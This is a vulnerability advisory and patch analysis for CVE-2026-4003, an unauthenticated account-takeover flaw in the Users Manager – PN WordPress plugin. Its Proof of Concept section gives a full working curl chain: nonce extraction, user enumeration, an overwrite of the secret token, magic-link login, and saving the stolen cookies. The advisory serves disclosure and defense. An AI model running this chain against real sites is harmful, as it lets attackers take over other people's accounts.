CVE-2026-4003: CVSS 9.8 Privilege Escalation in Users Manager PN
Table of Contents
- Vulnerability Summary
- Description
- Technical Analysis
- 1. Nonce Exposure — includes/class-userspn-common.php (lines 203–207)
- 2. AJAX Handler Registration — includes/class-userspn.php (lines 445–446)
- 3. The Vulnerable Handler — includes/class-userspn-ajax-nopriv.php
- 4. Account Takeover via Magic Link — includes/class-userspn-functions-user.php (lines 230–255)
- Root Cause
- Why Existing Controls Failed
- Attack Impact
- Proof of Concept
- Patch Analysis
- Timeline
- Remediation
- References
CVE-2026-4003 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the Users Manager – PN WordPress plugin. It allows any unauthenticated attacker to overwrite arbitrary user metadata and, when the auto-login feature is enabled, fully take over any non-administrator account — no credentials required.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Users Manager – PN |
| Plugin Slug | userspn |
| CVE ID | CVE-2026-4003 |
| CVSS Score | 9.8 (Critical) |
| Vulnerability Type | Unauthenticated Privilege Escalation via Arbitrary User Meta Update → Account Takeover |
| Affected Versions | <= 1.1.15 |
| Patched Version | 1.1.25 |
| Published | April 7, 2026 |
| Researcher | BaroHaf - fpt |
| Wordfence Advisory | Link |
Description
The Users Manager – PN plugin for WordPress is vulnerable to Privilege Escalation via Arbitrary User Meta Update in all versions up to and including 1.1.15. This is due to a flawed authorization logic check in the userspn_ajax_nopriv_server() function within the userspn_form_save case. The conditional only blocks unauthenticated users when user_id is empty, but when a non-empty user_id is supplied, execution bypasses this check entirely and proceeds to update arbitrary user meta via update_user_meta() without any authentication or authorization verification. Additionally, the nonce required for this AJAX endpoint (userspn-nonce) is exposed to all visitors via wp_localize_script on the public wp_enqueue_scripts hook, rendering the nonce check ineffective as a security control. This makes it possible for unauthenticated attackers to update arbitrary user metadata for any user account, including the userspn_secret_token field.
Technical Analysis
The attack chain flows through three distinct components.
1. Nonce Exposure — includes/class-userspn-common.php (lines 203–207)
userspn_enqueue_scripts() is registered on the public wp_enqueue_scripts hook (class-userspn.php line 276), meaning it fires on every front-end page load for every visitor, authenticated or not.
Inside that function:
// class-userspn-common.php, line 203
$nonce = wp_create_nonce('userspn-nonce');
wp_localize_script($this->plugin_name, 'userspn_ajax', [
'ajax_url' => admin_url('admin-ajax.php'),
'userspn_ajax_nonce' => $nonce,
]);
This injects the following into every page’s <script> block:
var userspn_ajax = {
"ajax_url": "https://target.example.com/wp-admin/admin-ajax.php",
"userspn_ajax_nonce": "ab12cd34ef" // <-- valid nonce, visible to anyone
};
WordPress nonces are meant to protect against CSRF by being unpredictable to unauthenticated users. Exposing the nonce in public page source completely defeats this protection for the userspn-nonce action.
2. AJAX Handler Registration — includes/class-userspn.php (lines 445–446)
$this->loader->userspn_add_action('wp_ajax_userspn_ajax_nopriv', $plugin_ajax_nopriv, 'userspn_ajax_nopriv_server');
$this->loader->userspn_add_action('wp_ajax_nopriv_userspn_ajax_nopriv', $plugin_ajax_nopriv, 'userspn_ajax_nopriv_server');
Both wp_ajax_ and wp_ajax_nopriv_ hooks are registered, meaning the AJAX action userspn_ajax_nopriv is reachable by both authenticated and unauthenticated users at POST /wp-admin/admin-ajax.php?action=userspn_ajax_nopriv.
3. The Vulnerable Handler — includes/class-userspn-ajax-nopriv.php
Step A — Nonce check (lines 21–37): The handler checks for the presence and validity of userspn_ajax_nopriv_nonce against the userspn-nonce action. This check passes trivially because the nonce is already public (see §1 above).
if (!wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['userspn_ajax_nopriv_nonce'])), 'userspn-nonce')) {
// exit with error
}
Step B — User ID extraction (line 186): The $user_id is read directly from attacker-controlled POST data with no validation:
$user_id = !empty($_POST['userspn_form_user_id']) ? USERSPN_Forms::userspn_sanitizer(wp_unslash($_POST['userspn_form_user_id'])) : 0;
Step C — The flawed authorization gate (line 190): The authorization check only triggers when $user_id is empty:
if (($userspn_form_type == 'user' && empty($user_id) && !in_array($userspn_form_subtype, ['user_alt_new'])) || ...) {
// store in session and echo 'userspn_form_save_error_unlogged'; exit;
} else {
// falls through to update_user_meta() — NO auth check here
}
The flaw: The condition blocks unauthenticated requests only when $user_id is empty (0). If the attacker supplies any non-zero user_id, empty($user_id) is false, the entire if evaluates to false, and execution drops directly into the else block.
Step D — Unrestricted update_user_meta() (lines 217–239): Once inside the else block, the code iterates over all attacker-supplied userspn_ajax_keys and writes each key-value pair to the target user’s meta with zero authentication:
if (!empty($user_id)) {
foreach ($userspn_key_value as $userspn_key => $userspn_value) {
// ...key prefixing logic...
update_user_meta($user_id, $userspn_key, $userspn_value);
// Also writes the non-prefixed original key
if (!empty($original_key) && strpos((string)$original_key, 'userspn_') !== 0) {
update_user_meta($user_id, $original_key, $userspn_value);
}
}
}
Note the dual-write: if the attacker sends a key secret_token, the handler writes both userspn_secret_token and secret_token to the target user’s meta.
4. Account Takeover via Magic Link — includes/class-userspn-functions-user.php (lines 230–255)
If the site has the auto-login feature enabled (userspn_auto_login option set to on), the plugin implements a token-based magic link login:
public function userspn_auto_login() {
if (!isset($_GET['userspn_auto_login']) || get_option('userspn_auto_login') !== 'on') {
return;
}
$user_id = !empty($_GET['userspn_user_id']) ? intval($_GET['userspn_user_id']) : 0;
$secret_token = get_user_meta($user_id, 'userspn_secret_token', true); // reads from DB
$userspn_secret_token = !empty($_GET['userspn_secret_token']) ? sanitize_text_field(...) : '';
// Blocks only admins — any non-admin user is eligible
if (empty($secret_token) || $secret_token !== $userspn_secret_token || user_can($user_id, 'administrator')) {
return;
}
wp_set_current_user($user_id, $login_username);
wp_set_auth_cookie($user_id); // <-- Full authentication cookie set
wp_redirect(...);
exit;
}
Since the attacker controlled userspn_secret_token in Step C, they simply supply the value they wrote during the AJAX call and are granted a full authenticated session as the target user.
Root Cause
The authorization gate at class-userspn-ajax-nopriv.php:190 contains an inverted logic flaw. It was designed to block unauthenticated users from updating their own profile when they lack a user_id, but the condition is:
block IF (type == 'user') AND (user_id IS EMPTY) AND (subtype not in [...])
This means the block only applies when user_id is absent. An attacker who explicitly supplies any valid user_id completely bypasses the check.
The correct logic should have been:
block IF (type == 'user') AND (user is NOT authenticated OR user_id does NOT match current user)
Why Existing Controls Failed
| Control | Why it failed |
|---|---|
Nonce check (wp_verify_nonce) | The nonce userspn-nonce is generated and embedded in the page source on every public front-end page via wp_localize_script. Any unauthenticated visitor can extract a valid nonce from the HTML source without making any special requests. |
| Session / unlogged guard | The session-store branch ($_SESSION['userspn_form']) only fires when $user_id is empty. Supplying a user_id skips it entirely. |
| Nonce action specificity | A single nonce action (userspn-nonce) is shared across multiple AJAX operations, broadening the exposure surface. |
Attack Impact
An unauthenticated attacker can:
- Overwrite any user meta on any non-admin account — including security-sensitive fields.
- Achieve full account takeover of any non-admin WordPress user (subscriber, contributor, author, editor) when the auto-login feature is enabled, by overwriting
userspn_secret_tokenand using the magic-link login endpoint. - Escalate privileges if the targeted account holds elevated roles (editor, shop manager, etc.).
- Modify profile data (name, email meta, custom fields) for any user silently.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.
Prerequisites
- WordPress installation accessible over HTTP/HTTPS
- Plugin
userspninstalled and activated, version <= 1.1.15 - For the full account-takeover chain: the “Auto-login” feature must be enabled in plugin settings (
userspn_auto_login=on) - Target: a non-administrator user account (e.g. a subscriber with user ID 2)
Step 1: Extract the Nonce from Any Public Page
Load the WordPress homepage (or any page that enqueues the plugin’s scripts) and extract the nonce from the inline JavaScript:
TARGET="https://target.example.com"
# Fetch the page and extract the nonce
NONCE=$(curl -s "$TARGET/" | grep -oP '"userspn_ajax_nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
What to look for in page source:
<script type='text/javascript' id='userspn-js-extra'>
var userspn_ajax = {
"ajax_url": "https://target.example.com/wp-admin/admin-ajax.php",
"userspn_ajax_nonce": "ab12cd34ef"
};
</script>
Step 2: Identify the Target User ID
Find the user ID of the target account. This can be done via the WordPress REST API (if user enumeration is not disabled) or by inspecting public profile pages:
# List users via REST API (works on default WP installations)
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool | grep '"id"'
Example output:
{ "id": 2, "name": "Jane Doe", "slug": "janedoe" }
Target user ID for this PoC: 2
Step 3: Overwrite the Target User’s userspn_secret_token
Send an unauthenticated POST to the AJAX endpoint with the extracted nonce, targeting user ID 2. The payload sets userspn_secret_token (via the key secret_token) to an attacker-controlled value:
TARGET="https://target.example.com"
NONCE="ab12cd34ef" # Replace with value from Step 1
TARGET_USER_ID=2 # Replace with target user's ID
ATTACKER_TOKEN="pwned12345" # Attacker-chosen token value
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode "action=userspn_ajax_nopriv" \
--data-urlencode "userspn_ajax_nopriv_type=userspn_form_save" \
--data-urlencode "userspn_ajax_nopriv_nonce=$NONCE" \
--data-urlencode "userspn_form_type=user" \
--data-urlencode "userspn_form_user_id=$TARGET_USER_ID" \
--data-urlencode "userspn_ajax_keys[0][id]=secret_token" \
--data-urlencode "userspn_ajax_keys[0][node]=INPUT" \
--data-urlencode "userspn_ajax_keys[0][type]=text" \
--data-urlencode "userspn_ajax_keys[0][multiple]=false" \
--data-urlencode "secret_token=$ATTACKER_TOKEN"
Expected response (success — meta written):
{"action":"userspn_form_save","user_id":"2","form_type":"user"}
or an empty/null response body with HTTP 200, indicating the request was processed.
What happened: WordPress has now executed update_user_meta(2, 'userspn_secret_token', 'pwned12345') and also update_user_meta(2, 'secret_token', 'pwned12345') — with no authentication.
Step 4: Trigger Account Takeover via Magic Link
With the secret token overwritten, visit the auto-login URL as the attacker (unauthenticated browser session):
curl -v -L "$TARGET/?userspn_auto_login=1&userspn_user_id=$TARGET_USER_ID&userspn_secret_token=$ATTACKER_TOKEN&userspn_login_username=janedoe"
Or visit the following URL directly in a browser (private/incognito window):
https://target.example.com/?userspn_auto_login=1&userspn_user_id=2&userspn_secret_token=pwned12345&userspn_login_username=janedoe
What happens: The userspn_auto_login() function:
- Reads
userspn_secret_tokenfor user 2 from the database →pwned12345 - Compares with the GET parameter
userspn_secret_token→pwned12345✓ - Confirms user 2 is not an administrator ✓
- Calls
wp_set_current_user(2, 'janedoe')andwp_set_auth_cookie(2) - Redirects to the homepage
The attacker is now authenticated as user ID 2 (Jane Doe).
Expected Result
After completing Step 4, the attacker holds a valid WordPress authentication cookie for the target user account. They can:
- Access the WordPress dashboard as that user
- Read/modify any content the user has access to
- Change the user’s email address or password (locking out the legitimate user)
- Escalate further if the target account has elevated roles
Verification
To confirm account takeover succeeded:
# Save the cookie from the auto-login redirect
curl -c /tmp/stolen_cookies.txt -L \
"$TARGET/?userspn_auto_login=1&userspn_user_id=2&userspn_secret_token=pwned12345&userspn_login_username=janedoe"
# Verify authentication by accessing /wp-admin/profile.php
curl -b /tmp/stolen_cookies.txt -s "$TARGET/wp-admin/profile.php" | grep -o 'user-info.*</h2>' | head -1
A successful response will show the target user’s profile page content rather than the login form.
Patch Analysis
What Changed
The patch (version 1.1.25) modifies includes/class-userspn-ajax-nopriv.php only. The nonce exposure in class-userspn-common.php was not changed — the nonce is still publicly exposed, but the AJAX handler now enforces proper authorization before acting on any supplied user_id.
Fix Explanation
A proper authorization guard was inserted at class-userspn-ajax-nopriv.php immediately after the if (!empty($user_id)) check, before any call to update_user_meta():
// Added in 1.1.25 — runs before update_user_meta()
if (!is_user_logged_in() || (intval($user_id) !== get_current_user_id() && !USERSPN_Functions_User::userspn_user_is_admin(get_current_user_id()))) {
echo wp_json_encode([
'error_key' => 'userspn_form_save_error_unauthorized',
'error_content' => esc_html(__('You are not authorized to perform this action.', 'userspn')),
]);
exit;
}
This check enforces two conditions before proceeding:
- The request must come from a logged-in user (
is_user_logged_in()). - The logged-in user must either be the account owner (
$user_id === get_current_user_id()) or an administrator.
An equivalent fix was applied to the post form type as well.
Is the Fix Complete?
The fix addresses the root cause (missing authorization before update_user_meta()). However, the nonce exposure remains — any visitor can still extract userspn_ajax_nonce from page source. This means the nonce provides no real CSRF protection. A more thorough hardening would:
- Only expose the nonce to authenticated users (conditional
wp_localize_script). - Or generate a per-user nonce with a user-specific action (e.g.
'userspn-nonce-' . get_current_user_id()).
For the specific reported vulnerability (unauthenticated privilege escalation), the patch is effective.
Code Diff (Key Change)
--- a/includes/class-userspn-ajax-nopriv.php (1.1.15)
+++ b/includes/class-userspn-ajax-nopriv.php (1.1.25)
@@ -215,6 +215,15 @@ class USERSPN_Ajax_Nopriv {
}
if (!empty($user_id)) {
+ // Authorization: only the account owner or an admin may update user meta
+ if (!is_user_logged_in() || (intval($user_id) !== get_current_user_id() && !USERSPN_Functions_User::userspn_user_is_admin(get_current_user_id()))) {
+ echo wp_json_encode([
+ 'error_key' => 'userspn_form_save_error_unauthorized',
+ 'error_content' => esc_html(__('You are not authorized to perform this action.', 'userspn')),
+ ]);
+ exit;
+ }
+
foreach ($userspn_key_value as $userspn_key => $userspn_value) {
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by BaroHaf - fpt |
| April 7, 2026 | Publicly disclosed by Wordfence |
| April 7, 2026 | Patched version 1.1.25 released |
Remediation
Update the userspn plugin to version 1.1.25 or later immediately.
If an immediate update is not possible, consider these temporary mitigations:
- Disable the “Auto-login” feature in plugin settings to break the account-takeover chain (does not fix the arbitrary user meta write).
- Use a WAF rule to block unauthenticated POST requests to
admin-ajax.phpwithaction=userspn_ajax_noprivand a non-emptyuserspn_form_user_id.
References
- Wordfence Advisory
- CVE-2026-4003 at NVD
- Vulnerable AJAX handler — trunk (L233)
- Vulnerable AJAX handler — tag 1.0.31 (L233)
- Vulnerable AJAX handler — trunk (L186)
- Vulnerable AJAX handler — trunk (L190)
- Nonce exposure — class-userspn-common.php (L168)
- Magic link auto-login — class-userspn-functions-user.php (L235)
- Patch changeset on Trac
- Plugin page on WordPress.org